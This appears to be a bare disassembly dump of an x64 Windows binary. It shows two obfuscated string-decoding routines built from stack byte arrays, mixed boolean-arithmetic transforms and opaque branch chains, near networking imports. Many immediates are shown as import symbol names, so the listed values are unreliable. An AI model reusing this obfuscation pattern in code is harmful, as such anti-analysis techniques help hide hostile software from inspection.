mov r8d, esi
lea rcx, [rbp + 0x1860]
call fcn.1400ca2f0
nop
lea rcx, [rbp + 0x1860]
call fcn.1401aa1b8
nop
lea rcx, [rbp + 0x1860]
call fcn.14008b580
nop
mov rcx, rbx
call fcn.140091e30
mov byte [rbp + 0xaa0], 0x9b
mov byte [rbp + 0xaa1], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp + 0xaa2], 0x90
mov byte [rbp + 0xaa3], 0xdb
mov byte [rbp + 0xaa4], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0xaa5], Ordinal_217
mov byte [rbp + 0xaa6], 0x7b
mov byte [rbp + 0xaa7], Ordinal_217
mov byte [rbp + 0xaa8], 0x43
mov byte [rbp + 0xaa9], Ordinal_211
mov byte [rbp + 0xaaa], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0xaab], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0xaac], 0x5e
mov byte [rbp + 0xaad], Ordinal_211
mov byte [rbp + 0xaae], 0x5d
mov byte [rbp + 0xaaf], Ordinal_211
mov byte [rbp + 0xab0], WSASetLastError
mov byte [rbp + 0xab1], 0xc9
mov byte [rbp + 0xab2], 0x7a
mov byte [rbp + 0xab3], 0xcb
mov byte [rbp + 0xab4], Ordinal_79
mov byte [rbp + 0xab5], Ordinal_200
mov byte [rbp + 0xab6], 0x64
mov byte [rbp + 0xab7], Ordinal_200
mov byte [rbp + 0xab8], 0x54
mov byte [rbp + 0xab9], 0xc1
mov byte [rbp + 0xaba], 0x5b
mov byte [rbp + 0xabb], Ordinal_200
mov byte [rbp + 0xabc], 0x9f
mov byte [rbp + 0xabd], 0x3d
mov byte [rbp + 0xabe], 0x9a
mov byte [rbp + 0xabf], 0x3f
mov byte [rbp + 0xac0], 0x84
mov byte [rbp + 0xac1], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0xac2], 0xa8
mov byte [rbp + 0xac3], Ordinal_60
mov byte [rbp + 0xac4], 0xad
mov byte [rbp + 0xac5], gethostname
mov byte [rbp + 0xac6], 0xb8
mov byte [rbp + 0xac7], Ordinal_60
mov byte [rbp + 0xac8], 0xad
mov byte [rbp + 0xac9], Ordinal_50
mov byte [rbp + 0xaca], 0xa0
mov byte [rbp + 0xacb], gethostname
mov byte [rbp + 0xacc], 0xbf
mov byte [rbp + 0xacd], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0xace], 0x78
mov byte [rbp + 0xacf], Ordinal_50
mov byte [rbp + 0xad0], Ordinal_143
mov byte [rbp + 0xad1], reloc.WLDAP32.dll_Ordinal_41
mov byte [rbp + 0xad2], 0xb3
mov byte [rbp + 0xad3], Ordinal_46
mov byte [rbp + 0xad4], 0xb2
mov byte [rbp + 0xad5], Ordinal_41
mov byte [rbp + 0xad6], Ordinal_41
mov byte [rbp + 0xad7], Ordinal_41
xor eax, eax
mov qword [rbp + 0xad8], rax
mov dword [rbp + 0xae0], eax
mov word [rbp + 0xae4], ax
mov byte [rbp + 0xae6], al
mov bl, byte [rsp + 0x50]
call fcn.1401abe8c
mov rdi, qword [rax]
call fcn.1401abe94
mov r10, qword [rax]
xor eax, eax
mov r9d, eax
cmp r9, 0x47
jae 0x14013cc5f
movzx r8d, byte [rbp + r9 + 0xaa0]
mov rdx, r8
cmp rdi, r9
ja 0x14013cc56
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x14013c1bf
movabs r11, 0x76773772b8399364
lea rcx, [r9 + r11]
mov rax, rcx
and rax, rdx
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, rdx
add bl, 0x44
jmp 0x14013c1f6
je 0x14013cbd2
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14013cba2
lea rax, [r10 + 2]
cmp rdi, rax
je 0x14013cb7f
lea rax, [r10 + 7]
cmp rdi, rax
je 0x14013cb31
movabs r11, 0x76773772b8399364
cmp r10, r9
ja 0x14013cc4d
lea rax, [r10 + 0x28]
cmp rdi, rax
jae 0x14013c229
movabs rdx, 0xb7c78c691cb91734
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x6c
jmp 0x14013c3ec
lea rax, [r10 + 1]
cmp rdi, rax
je 0x14013cb20
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14013cafd
lea rax, [r10 + 2]
cmp rdi, rax
je 0x14013cab1
lea rax, [r10 + 5]
cmp rdi, rax
je 0x14013ca8b
lea rax, [r10 + 6]
cmp rdi, rax
je 0x14013ca00
lea rax, [r10 + rdi]
cmp rax, r9
jbe 0x14013c6e2
lea rax, [r10 + 2]
cmp rdi, rax
je 0x14013c6ce
lea rax, [r10 + 0x42]
cmp rdi, rax
je 0x14013c6ac
lea rax, [r10 + 1]
cmp rdi, rax
je 0x14013c69a
lea rax, [r10 + 0x40]
cmp rdi, rax
je 0x14013c679
lea rax, [r10 + 0x2a]
cmp rdi, rax
je 0x14013c665
lea rax, [r10 + 0x28]
cmp rdi, rax
je 0x14013c642
lea rax, [r10 + 0x64]
cmp rdi, rax
je 0x14013c62e
lea rdi, [r10 + 0x5a]
lea r10, [rdi + 0x40]
lea rax, [r10 + 0x20]
cmp rdi, rax
jb 0x14013cc2a
lea rax, [r10 + 0x41]
cmp rdi, rax
jb 0x14013cc04
lea rax, [r10 + 0x10]
cmp rdi, rax
jb 0x14013c419
lea rax, [r10 + 0x40]
cmp rdi, rax
jb 0x14013c3f3
lea rax, [r10 + 0x2a]
cmp rdi, rax
jb 0x14013c3d0
lea rax, [r10 + 0x28]
cmp rdi, rax
jb 0x14013c565
lea rax, [r10 + 0x5a]
cmp rdi, rax
jb 0x14013c547
mov rdi, rax
lea r10, [rax + 0x7a]
lea rax, [r10 + 0x20]
cmp rdi, rax
ja 0x14013c533
lea rax, [r10 + 0x41]
cmp rdi, rax
ja 0x14013c512
lea rax, [r10 + 0x10]
cmp rdi, rax
ja 0x14013c4fe
lea rax, [r10 + 0x7a]
cmp rdi, rax
ja 0x14013c4db
lea rax, [r10 + 0xa]
cmp rdi, rax
ja 0x14013c4b8
lea rax, [r10 + 0x61]
cmp rdi, rax
ja 0x14013c494
lea rcx, [r10 + 9]
cmp rdi, rcx
ja 0x14013c471
lea rax, [r10 + 0x1000]
cmp rdi, rax
ja 0x14013c45d
lea rax, [r10 + 8]
cmp rdi, rax
ja 0x14013c43c
lea rax, [r10 + 0x400]
cmp rdi, rax
ja 0x14013c277
mov rdi, rcx
lea r10, [rcx + 6]
jmp 0x14013c277
movabs rdx, 0x52bb1b4a0743074c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x14
add bl, dl
jmp 0x14013c26a
movabs rdx, 0x65ccac6496cfe084
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14013c1f6
movabs rdx, 0x78de3d7f265cb9bc
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, dl
sub bl, r12b
jmp 0x14013c187
movabs rdx, 0xbe3c6348e5c8b9a0
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x60
jmp 0x14013cb50
movabs rdx, 0xd14df463755592d8
mov ecx, recv
jmp 0x14013c7e3
movabs rcx, 0xe45f857e04e26c10
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x70
jmp 0x14013cb9d
movabs rdx, 0xf7711698946f4548
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 4
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x14013cacd
movabs rcx, 0xa82a7b323fc1e80
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
add bl, r15b
jmp 0x14013cbc0
movabs rcx, 0x1d9438cdb388f7b8
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 8
jmp 0x14013cbc3
movabs rdx, 0x30a5c9e84315d0f0
mov ecx, Ordinal_60
jmp 0x14013ca0f
movabs rdx, 0x43b75b02d2a2aa28
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x18
jmp 0x14013c878
movabs rdx, 0x56c8ec1d622f8360
mov ecx, Ordinal_50
jmp 0x14013c720
movabs rdx, 0x2c97f914e82954dc
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 4
jmp 0x14013c5c2
movabs rdx, 0x3fa98a2f77b62e14
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
lea rax, [r10 + rdi]
cmp rax, 0x1000
je 0x14013c9da
lea rax, [r10 + 0xa]
cmp rdi, rax
jbe 0x14013c7a1
movabs rdx, 0x3a683655e5b81ed4
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
cmp rdi, 4
jae 0x14013c9b4
lea rax, [r10 + 0x3e8]
cmp rdi, rax
jbe 0x14013c8af
movabs rdx, 0xf22fc2bf02713608
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x38
add bl, dl
cmp r10, 4
jb 0x14013c9a7
movabs rdx, 0x338017b566f0b9d8
add rdx, r9
mov al, r8b
and al, dl
mov ecx, recv
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
lea ebx, [rcx + rcx]
jmp 0x14013cb52
movabs rdx, 0x74d06cabcb703da8
mov ecx, 0x34
jmp 0x14013ca0f
movabs rcx, 0x87e1fdc65afd16e0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x20
jmp 0x14013cbc3
movabs rdx, 0x9af38ee0ea89f018
mov ecx, Ordinal_46
jmp 0x14013ca9a
movabs rdx, 0xae051ffb7a16c950
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x30
jmp 0x14013cacd
movabs rdx, 0xc116b11609a3a288
mov ecx, r12d
jmp 0x14013cb0c
movabs rcx, 0xd428423099307bc0
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, r14b
jmp 0x14013cb7a
movabs rdx, 0xe739d34b28bd54f8
mov ecx, Ordinal_32
jmp 0x14013cb40
lea rax, [r10 + 0x41]
cmp rdi, rax
jae 0x14013c708
lea rdx, [r9 + r11]
mov al, dl
and al, r8b
mov ecx, Ordinal_35
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14013c586
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14013c737
movabs rdx, 0x6f8f18d239722e68
mov ecx, reloc.WS2_32.dll_sendto
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14013cbed
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14013c754
movabs rdx, 0x496bf69d1a587bf8
mov ecx, Ordinal_32
jmp 0x14013ca0f
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14013c780
movabs rcx, 0x365a65828acba2c0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, r14b
jmp 0x14013cbc3
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x14013c586
movabs rdx, 0xfd25b232dc251718
mov ecx, Ordinal_46
jmp 0x14013cb0c
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14013c7cb
movabs rdx, 0x2756a53b562b459c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x44
jmp 0x14013cb50
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14013c7fa
movabs rdx, 0x14451420c69e6c64
mov ecx, Ordinal_35
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14013cb7a
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x14013c826
movabs rcx, 0xdb1060d117f7e0bc
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, r12b
jmp 0x14013cbc0
lea rax, [r10 + 7]
cmp rdi, rax
jne 0x14013c850
movabs rdx, 0xb4ed3e9bf8de2e4c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x14
jmp 0x14013ca1f
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x14013c87f
movabs rdx, 0xa1dbad8169515514
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14013ca55
lea rax, [r10 + 9]
cmp rdi, rax
jne 0x14013c5c4
movabs rcx, 0x8eca1c66d9c47bdc
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 4
jmp 0x14013cbed
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14013c8cc
movabs rdx, 0xdf1e31a472e45cd0
mov ecx, Ordinal_41
jmp 0x14013c720
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14013c8e9
movabs rdx, 0xb8fb0f6f53caaa60
mov ecx, Ordinal_50
jmp 0x14013ca0f
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x14013c906
movabs rdx, 0x92d7ed3a34b0f7f0
mov ecx, Ordinal_60
jmp 0x14013ca9a
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x14013c930
movabs rdx, 0x7fc65c1fa5241eb8
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 8
jmp 0x14013cacd
lea rax, [r10 + 7]
cmp rdi, rax
jne 0x14013c95c
movabs rcx, 0x6cb4cb0515974580
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
add bl, r15b
jmp 0x14013cb9d
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x14013c979
movabs rdx, 0x59a339ea860a6c48
mov ecx, 4
jmp 0x14013c7e3
lea rax, [r10 + 9]
cmp rdi, rax
jne 0x14013c5fc
movabs rdx, 0x4691a8cff67d9310
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x70
jmp 0x14013cb50
mov byte [rbp + r9 + 0xaa0], bl
jmp 0x14013cbfc
movabs rdx, 0x206e869ad763e0a0
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, byte [rbp + r9 + 0xaa0]
sub bl, al
sub bl, 0x60
jmp 0x14013c4b0
movabs rdx, 0xd5cf58047d70768
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea ebx, [rcx + rcx]
sub bl, byte [rbp + r9 + 0xaa0]
jmp 0x14013ca1c
movabs rdx, 0x324c94af2fdf26ac
mov ecx, Ordinal_41
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
movabs rdx, 0x83d42cf300109acc
add rdx, r9
mov al, r8b
and al, dl
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
movzx eax, cl
mov byte [rbp + r9 + 0xaa0], al
add r10, r13
add rax, r10
sub r9, rax
movabs rcx, 0xfa4b6465b84a2e30
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x50
add cl, r8b
mov byte [rbp + r9 + 0xaa0], cl
add rdi, r13
or rax, 0xffffffffffffffff
sub rax, rdi
add r9, rax
jmp 0x14013cbed
movabs rdx, 0x586fb6e44ef8d91c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14013cbc0
movabs rdx, 0x6b8147fede85b254
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x4c
add bl, dl
movabs rcx, 0x96e5be0d8f9d7404
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x1c
add r8b, cl
add r8b, bl
mov byte [rbp + r9 + 0xaa0], r8b
jmp 0x14013cbc0
movabs rdx, 0x7e92d9196e128b8c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14013cb9d
movabs rdx, 0xa4b5fb4e8d2c3dfc
mov ecx, reloc.WS2_32.dll_ntohl
jmp 0x14013cb40
movabs rdx, 0xcad91d83ac45f06c
mov ecx, 6
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
movabs rdx, 0xa9f74f281f2a4d3c
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
mov byte [rbp + r9 + 0xaa0], cl
add r10, r13
jmp 0x14013cb9d
movabs rcx, 0xf0fc3fb8cb5fa2dc
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 4
sub r9, r13
jmp 0x14013cbfc
movabs rcx, 0x171f61edea79554c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x14
add rdi, r10
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x14013cbfc
movabs rcx, 0x6365a65828acba2c
add rcx, r9
mov al, cl
and al, dl
add al, al
sub dl, al
lea ebx, [rcx + rdx]
sub bl, 0x34
movzx eax, byte [rbp + r9 + 0xaa0]
add rax, r10
add r9, rax
add r9, r13
jmp 0x14013c174
movabs rdx, 0x8befce99b5e992f4
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_46
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14013c16f
movabs rcx, 0x9f015fb445766c2c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x34
jmp 0x14013c15f
lea rdx, [rbp + 0x16f11d0]
jmp 0x14013cc66
lea rdx, [rbp + 0x68a534]
jmp 0x14013cc66
lea rdx, [rbp + 0xaa0]
lea rcx, [rbp + 0x3c0]
call fcn.1400ca428
mov rbx, rax
mov qword [rsp + 0x58], rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x1970]
call sub.VCRUNTIME140.dll_memset
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x14013cc9b
mov rdx, qword [rbx]
mov dword [rsp + 0x20], r13d
mov r9d, r14d
mov r8d, esi
lea rcx, [rbp + 0x1970]
call fcn.1400ca2f0
nop
lea rcx, [rbp + 0x1970]
call fcn.1401aa1b8
nop
lea rcx, [rbp + 0x1970]
call fcn.14008b580
nop
mov rcx, rbx
call fcn.140091e30
mov byte [rbp + 0x7c0], 0xcb
mov byte [rbp + 0x7c1], Ordinal_143
mov byte [rbp + 0x7c2], 0xac
mov byte [rbp + 0x7c3], 0xf3
mov byte [rbp + 0x7c4], Ordinal_79
mov byte [rbp + 0x7c5], 0xf1
mov byte [rbp + 0x7c6], WSACleanup
mov byte [rbp + 0x7c7], 0xf7
mov byte [rbp + 0x7c8], 0x55
mov byte [rbp + 0x7c9], 0xf5
mov byte [rbp + 0x7ca], 0xa2
mov byte [rbp + 0x7cb], 0xfb
mov byte [rbp + 0x7cc], 0x66
mov byte [rbp + 0x7cd], 0xf9
mov byte [rbp + 0x7ce], 0x55
mov byte [rbp + 0x7cf], 0xff
mov byte [rbp + 0x7d0], 0x59
mov byte [rbp + 0x7d1], 0xfd
mov byte [rbp + 0x7d2], WSACleanup
mov byte [rbp + 0x7d3], 0xe3
mov byte [rbp + 0x7d4], 0x47
mov byte [rbp + 0x7d5], 0xe1
mov byte [rbp + 0x7d6], Ordinal_79
mov byte [rbp + 0x7d7], 0xe7
mov byte [rbp + 0x7d8], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x7d9], 0xe5
mov byte [rbp + 0x7da], 0x42
mov byte [rbp + 0x7db], 0xeb
mov byte [rbp + 0x7dc], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x7dd], 0xe9
mov byte [rbp + 0x7de], r14b
mov byte [rbp + 0x7df], 0xef
mov byte [rbp + 0x7e0], 0xb8
mov byte [rbp + 0x7e1], 0xed
mov byte [rbp + 0x7e2], 0x87
mov byte [rbp + 0x7e3], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0x7e4], 0x44
mov byte [rbp + 0x7e5], Ordinal_211
mov byte [rbp + 0x7e6], r14b
mov byte [rbp + 0x7e7], Ordinal_217
mov byte [rbp + 0x7e8], 0x81
mov byte [rbp + 0x7e9], Ordinal_217
mov byte [rbp + 0x7ea], 0x7e
mov byte [rbp + 0x7eb], 0xdb
mov byte [rbp + 0x7ec], 0x7c
mov byte [rbp + 0x7ed], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp + 0x7ee], WSACleanup
mov byte [rbp + 0x7ef], 0xdf
mov byte [rbp + 0x7f0], Ordinal_143
mov byte [rbp + 0x7f1], 0xdd
mov byte [rbp + 0x7f2], 0x64
mov byte [rbp + 0x7f3], Ordinal_200
mov byte [rbp + 0x7f4], WSAGetLastError
mov byte [rbp + 0x7f5], 0xc1
mov byte [rbp + 0x7f6], 0x54
mov byte [rbp + 0x7f7], Ordinal_200
mov byte [rbp + 0x7f8], Ordinal_200
mov byte [rbp + 0x7f9], Ordinal_200
xor eax, eax
mov dword [rbp + 0x7fa], eax
mov word [rbp + 0x7fe], ax
mov bl, byte [rsp + 0x50]
call fcn.1401abe8c
mov rdi, qword [rax]
call fcn.1401abe94
mov r11, qword [rax]
xor eax, eax
mov r10d, eax
cmp r10, r14
jae 0x14013da83
movzx r9d, byte [rbp + r10 + 0x7c0]
mov r8, r9
cmp rdi, r10
ja 0x14013da7a
lea rax, [r11 + 1]
cmp rdi, rax
jae 0x14013cedd
movabs r15, 0xda32561d88143dbe
lea rcx, [r10 + r15]
mov rax, rcx
and rax, r9
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, r9
sub bl, 0x32
jmp 0x14013cf21
je 0x14013d9ed
lea rax, [r11 + 2]
cmp rdi, rax
je 0x14013d994
lea rax, [r11 + 3]
cmp rdi, rax
je 0x14013d93e
lea rax, [r11 + 6]
cmp rdi, rax
je 0x14013d915
lea rax, [r11 + 8]
cmp rdi, rax
je 0x14013d8c9
movabs r15, 0xda32561d88143dbe
cmp r11, r10
ja 0x14013da71
lea rax, [r11 + 4]
cmp rdi, rax
jae 0x14013cf54
movabs rdx, 0xe621106c29a91096
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x1a
jmp 0x14013d166
lea rax, [r11 + 1]
cmp rdi, rax
je 0x14013d8ab
lea rax, [r11 + 2]
cmp rdi, rax
je 0x14013d888
lea rax, [r11 + 5]
cmp rdi, rax
je 0x14013d858
lea rax, [r11 + 3]
cmp rdi, rax
je 0x14013d83a
lea rax, [r11 + rdi]
cmp rax, r10
jbe 0x14013d47a
lea rax, [r11 + 0xa]
cmp rdi, rax
je 0x14013d458
lea rax, [r11 + 0x200]
cmp rdi, rax
je 0x14013d432
lea rax, [r11 + 0x2a]
cmp rdi, rax
je 0x14013d40f
lea rax, [r11 + 9]
cmp rdi, rax
je 0x14013d3fb
lea rax, [r11 + 8]
cmp rdi, rax
je 0x14013d3d8
lea rax, [r11 + 0x64]
cmp rdi, rax
je 0x14013d3b5
lea rax, [r11 + 0x41]
cmp rdi, rax
je 0x14013d3a1
lea rax, [r11 + 0x7a]
cmp rdi, rax
je 0x14013d37e
lea rax, [r11 + 5]
cmp rdi, rax
je 0x14013d358
lea rax, [r11 + 0x40]
cmp rdi, rax
je 0x14013cf95
lea rdi, [r11 + 0x200]
lea r11, [rdi + 0x28]
lea rax, [r11 + 0x80]
cmp rdi, rax
jb 0x14013da4b
lea rax, [r11 + 0x5a]
cmp rdi, rax
jb 0x14013da25
lea rax, [r11 + 8]
cmp rdi, rax
jb 0x14013d193
lea rax, [r11 + 6]
cmp rdi, rax
jb 0x14013d16d
lea rax, [r11 + 0x42]
cmp rdi, rax
jb 0x14013d14a
lea rax, [r11 + 0x7a]
cmp rdi, rax
jb 0x14013d334
lea rax, [r11 + 5]
cmp rdi, rax
jb 0x14013d320
lea rax, [r11 + 4]
cmp rdi, rax
jb 0x14013d2ff
lea rax, [r11 + 0x28]
cmp rdi, rax
jb 0x14013d2d1
lea rax, [r11 + 0x1000]
cmp rdi, rax
jb 0x14013cf95
lea rdi, [r11 + 0x64]
lea r11, [rdi + 0x400]
lea rax, [r11 + 0x41]
cmp rdi, rax
ja 0x14013d2bd
lea rax, [r11 + 6]
cmp rdi, rax
ja 0x14013d29b
lea rax, [r11 + 0x42]
cmp rdi, rax
ja 0x14013d27a
lea rax, [r11 + 0x40]
cmp rdi, rax
ja 0x14013d254
lea rax, [r11 + 0x61]
cmp rdi, rax
ja 0x14013d231
lea rax, [r11 + 4]
cmp rdi, rax
ja 0x14013d210
lea rax, [r11 + 3]
cmp rdi, rax
ja 0x14013d1ed
lea rax, [r11 + 0x20]
cmp rdi, rax
ja 0x14013d1ca
lea rax, [r11 + 0x400]
cmp rdi, rax
ja 0x14013d1b6
lea rax, [r11 + 2]
cmp rdi, rax
ja 0x14013cf95
lea rdi, [r11 + 0x7a]
lea r11, [rdi + 1]
jmp 0x14013cf95
movabs rdx, 0x7954c208e2fd862a
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x26
add bl, dl
jmp 0x14013cf88
movabs rdx, 0xc4f015cdd2d50aae
add rdx, r10
mov al, r9b
and al, dl
mov ecx, Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x14013cf21
movabs rdx, 0x108b6992c2ac8f32
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x5e
add bl, dl
jmp 0x14013cea5
movabs rdx, 0x310883614d4884b0
mov ecx, Ordinal_27
jmp 0x14013d8d8
movabs rcx, 0x7ca3d7263d200934
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x6c
jmp 0x14013d910
movabs rcx, 0xc83f2aeb2cf78db8
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 8
jmp 0x14013d936
movabs rdx, 0x13da7eb01ccf123c
mov ecx, reloc.WLDAP32.dll_Ordinal_46
add rdx, r10
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x14013d7d8
movabs rcx, 0x5f75d2750ca696c0
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, r14b
jmp 0x14013d807
movabs rdx, 0xab112639fc7e1b44
add rdx, r10
mov al, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x14013d876
movabs rdx, 0xf6ac79feec559fc8
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x78
jmp 0x14013d833
movabs rcx, 0x4247cdc3dc2d244c
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x14
jmp 0x14013d9b8
movabs rdx, 0x8de32188cc04a8d0
mov ecx, Ordinal_41
jmp 0x14013d367
movabs rdx, 0x4ae772f5239f741a
add rdx, r10
mov al, r9b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
mov byte [rbp + r10 + 0x7c0], bl
jmp 0x14013da1d
movabs rdx, 0x9682c6ba1376f89e
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x52
jmp 0x14013d50d
movabs rdx, 0xe21e1a7f034e7d22
mov ecx, 9
jmp 0x14013d4c6
movabs rdx, 0x2db96e43f32601a6
add rdx, r10
mov al, r9b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
jmp 0x14013d49a
movabs rdx, 0x64c66288f9f66384
mov ecx, reloc.WLDAP32.dll_Ordinal_50
add rdx, r10
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x14013da0e
movabs rdx, 0xb061b64de9cde808
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x38
add bl, dl
jmp 0x14013d9b8
movabs rdx, 0xfbfd0a12d9a56c8c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
jmp 0x14013d849
movabs rcx, 0x47985dd7c97cf110
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x70
jmp 0x14013d876
